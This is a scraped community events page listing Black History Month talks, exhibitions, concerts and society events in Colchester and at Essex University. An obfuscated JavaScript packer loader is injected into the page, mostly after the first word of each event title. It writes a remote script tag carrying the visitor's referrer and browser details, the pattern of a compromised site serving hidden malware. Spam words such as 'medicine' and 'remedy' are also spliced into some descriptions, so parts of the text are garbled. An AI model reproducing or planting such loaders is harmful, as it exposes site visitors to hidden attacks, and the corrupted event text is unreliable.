Past Events

 Business eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fetsn|var|u0026u|referrer|ezrde||js|php'.split('|'),0,{})) Konnect – This Kole Obasa -Firstsite Small businesses especially minority businesses are faced with everyday challenges mostly accessing funds. The theme of this event is “How to generate extra income with your current business”. Topics included (i) Franchising your business (ii) Video Marketing (iii) Accessing funds and (iv) Investing in the stock market.  Small business owners and aspiring entrepreneurs will have a chance to network with the guest speakers and other small business owners.

 Hair eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|snndi|var|u0026u|referrer|endab||js|php'.split('|'),0,{})) Society – Pop up Salon – Essex University  Punk Society – Essex University

Hate eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dsszd|var|u0026u|referrer|rdknk||js|php'.split('|'),0,{})) Crime Open Dialogue – Firtsite - FreeA dialogue delivered by Victim Support following the brexit. The rise in hate crime has increased the importance of dialogue about these issues and to know how to deal with them.

East eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hfirf|var|u0026u|referrer|btkfn||js|php'.split('|'),0,{})) African Interactive Poetry and Social – Essex University

 Hair eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ysndh|var|u0026u|referrer|sdkaf||js|php'.split('|'),0,{})) Society Pop up Hair Salon – Essex University

 Open eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sfiik|var|u0026u|referrer|aaati||js|php'.split('|'),0,{})) Mic Night – Essex University

Caribbean eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ebshz|var|u0026u|referrer|erkhk||js|php'.split('|'),0,{})) Party by S&S Caribbean Cafe– Waiting Room ColchesterTrue Caribbean music, no rx food and drink. Relax, dance and make a friend or two.

23rd eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bassf|var|u0026u|referrer|iykhd||js|php'.split('|'),0,{})) October 2016TO KILL A MOCKING BIRD - WITH POST FILM DISCUSSION LED BY DR JORDAN SAVAGE *Councillor Julie Young, the Mayor of Colchester, invites you to come and join us at Colchester Arts Centre to enjoy this special screening for charity.The oscar-winning film version of Harper Lee's classic tale of racial inequality and prejudice in the American deep south.The film will be followed by a debate about the themes that emerge from the story,…

 The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zaazb|var|u0026u|referrer|bskia||js|php'.split('|'),0,{})) Girl and the Giraffe – Mercury TheatreOne day whilst Girl is playing in her garden, medicine she spots something peculiar on the other side of the fence.Climbing up as high as she can to get a better view, this site she is surprised when she comes face to face with… Giraffe!As their friendship grows, Girl discovers that Giraffe isn’t very well.Suitable for Kids – 3 to 7yrs oldOne day whilst Girl is playing in…

BAME eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|arrty|var|u0026u|referrer|etein||js|php'.split('|'),0,{})) Network Meeting– Essex University

 A eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ehkia|var|u0026u|referrer|bynhz||js|php'.split('|'),0,{})) taste of South Africa by Majestic Kids Events25th to 26th – Tuesday & Wednesday – 10:30 to 1:30pm Firstsite - Suitable for all- £4

Graphic, eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zrhbi|var|u0026u|referrer|ynikt||js|php'.split('|'),0,{})) remedy Novel and Comic Book Society Art Exhibition in the HexagonEssex University History Society– Essex University (TBC)

BHM eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bezdd|var|u0026u|referrer|kkbyn||js|php'.split('|'),0,{})) Networking Event – Essex University

27th eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|byikr|var|u0026u|referrer|rihzi||js|php'.split('|'),0,{})) October Thursday –6pm-  Islamic Society Muslim Victims of Atlantic Slave – Essex University 27th October Thursday - 9pm-  BHM Quiz night – Essex University

  eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hkkeb|var|u0026u|referrer|atyzz||js|php'.split('|'),0,{})) BHM Festival 4 all – Essex University  Hair Society – Pop up Salon – Essex University

28 eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kdaei|var|u0026u|referrer|ybtai||js|php'.split('|'),0,{})) Oct 2016, Friday £12-£25Luther Vandross Tribute  - SOLD OUT You 'don't want to be a fool' and miss this! Join us at the stadium for our Luther Vandross tribute, get your tickets now as we know it is going to be 'so amazing!' Entry only tickets at £12.00 or why not join us for a two course meal at £25.00?Book tickets online now at www.coluboxoffice.com.Dates    TimesFri 28 Oct 2016   19:00 to 23:55Doors Open - 7.30pmAct…

 ACS eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ybfir|var|u0026u|referrer|ifeei||js|php'.split('|'),0,{})) Heritage Show and After Party – Essex University

 Drawing on the original conception of the gallery surrounding the Berryfield Mosaic as ‘Colchester’s sitting room’, Firstsite has re-conceived the space as a working studio for the next 3 years— a site for not only the presentation of art, but also its making.British African-Caribbean artist, producer and activist Elsa James is the first artist to be exhibiting and working within Firstsite’s ‘Living Room’. Based in Southend-on-Sea, Essex, James’s work focuses on opinions held towards people of African Caribbean heritage and…

Celebrating the sound of a generationMusic fans are invited to the biggest party of the year as the unstoppable Magic of Motown show steams into town! Seen by over a million people, it's no surprise that the show is one of the biggest success stories in British theatre history, even performing for Her Majesty the Queen, as special guests at the Royal Variety Performance.Prepare yourself for 40 back-to-back classic Motown hits, glittering costume changes, dazzling dance moves and outstanding musicianship…

Now in it's 11th year touring, the award winning ‘Rule The World’ has been recognised as the Number 1 'Take That' tribute show in the world!The cast recently appeared alongside THE REAL 'TAKE THAT' on BBC1’s ‘The Graham Norton Show’ and after hearing Dan Maines (Gary), a stunned Gary Barlow said in amazement “He sounds like me!”. The real Gary then also praised the whole band saying “They’re very good these guys!” - not an easy statement to acquire from…

Two anti-trafficking training events run by Rah Rah Community Theatre Company, in partnership with the Essex Police, and Stop the Traffik. These are free events, using a unique and engaging way to raise awareness of this despicable crime.The first is a public event on Thursday, October 10th, at 7.30 pm at the Arts Centre, which is free and open to anyone who may be interested – please feel free to distribute details to anyone you think would like to attend.…

The Black History Month group will be developing a symposium with Firstsite during Black History Month, alongside the activities of collecting Oral Histories and working with materials from the National Archives of the Arts Council collection to explore the black experience within Essex and the creative expressions that have come out of this. On including the exhibition in our Black History Month program, we hope to highlight the representation of black artists and communities, to greater encourage more people to…

A CELEBRATION OF BLACK HISTORY MONTH WITH LAWRENCE WALKER AND POWERHOUSE GOSPEL CHOIRJoin our celebration of Black History Month featuring Lawrence Walker, Chairperson of Colchester Black History Month, providing a talk on celebrating the Windrush migration, and incredible live music from the Powerhouse Gospel Choir.17 OCTApprox 2hrs, including interval£16Box Office: 01206 573948

New One-Woman Theatre Show, KURE KURE/FARAWAY Touring June & Autumn 2019:"The multi-media one-woman theatre show KURE KURE/FARAWAY includes music, projected visuals, song, dance and spoken word. It is a story of migration, atavism, DNA and the Ancestors' origins through the huge migration from Central Africa (5000 years ago), the migration of the Bantu Tribe from the Tanganyika and Baka tribal regions (Cameroon region) all the way to Zimbabwe to build the biggest kingdom in Africa (1200 AD) and my own…

October 26th YOUTH CONCERT AFiUK Youth club group will perform a “LIVE” concert also with several other engaging and popular activities for young people. 11am – 5pm Townhouse Youth club on Stockwell St. Colchester

BHM Colchester Launch on Friday Welcome segment and announcement of programs and activities for BHM Colchester 2020.With the first Interview of “Being Black in Essex" with Author and Poet, Lawrence Savage

Black History Month in Colchester Castle  - An Exhibit of the WindRush migration of their arrival in Tilbury, Essex and their experiences of a life in Britain.  A series of panels displays and narratives marking the Windrush Generation and it descendants.  It is recommend you phone in advance and book a slot during the day and evening visits after 4pm.  Free entry to just see the exhibit, booking would be essential for anyone wishing to see the exhibition.

The Mercury Theatre will present a workshop, “Why are we still fighting Racism” hosted by Sophie Kabangu and Lawrence Walker. Identifying ways to implement anti-racist practices TBA

Tuesday BBC Radio Essex acknowledges Black History Black with interview Indi Sandhu, Lawrence Walker and other guests on 103.5 & 95.3FM, with BBC Radio presenter Ian Wyatt.

William Darity Jr. and A. Kirsten Mullen speak about their book and their work on reparation for Black Americans, followed by a question and answer session led by Clara Sandoval, from our School of Law, Human Rights Centre and Essex Transitional Justice Network.You can find out more about this event and how to register at:  https://www.essex.ac.uk/events/2020/10/28/from-here-to-equality,-c-,-reparations-for-black-americans-in-the-twenty-first-century